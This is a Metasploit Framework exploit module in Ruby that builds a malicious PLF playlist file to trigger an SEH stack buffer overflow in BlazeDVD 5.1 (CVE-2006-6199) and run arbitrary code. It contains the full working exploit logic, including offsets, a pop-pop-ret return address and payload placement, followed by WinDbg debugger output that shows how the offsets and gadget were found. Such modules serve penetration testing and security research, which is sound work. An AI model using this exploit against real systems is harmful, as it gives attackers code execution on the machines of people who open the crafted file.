## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow', 'Description' => %q{ This module exploits a stack over flow in BlazeDVD 5.1. When the application is used to open a specially crafted plf file, a buffer is overwritten allowing for the execution of arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE' , '2006-6199' ], [ 'OSVDB', '30770'], [ 'BID', '35918' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 03 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), ], self.class) end def exploit plf = rand_text_alpha_upper(6024) plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V') plf[876,12] = make_nops(12) plf[888,payload.encoded.length] = payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(plf) end end =begin 0:000> !exchain 0012f2c8: 31644230 Invalid exception stack at 64423963 0:000> !pattern_offset 6024 0x31644230 [Byakugan] Control of 0x31644230 at offset 872. 0:000> !pattern_offset 6024 0x64423963 [Byakugan] Control of 0x64423963 at offset 868. 0:000> s -b 0x10000000 0x10018000 5e 59 c3 100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<. 100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$ 0:000> u 0x100012cd L3 skinscrollbar!SkinSB_ParentWndProc+0x1fd: 100012cd 5e pop esi 100012ce 59 pop ecx 100012cf c3 ret =end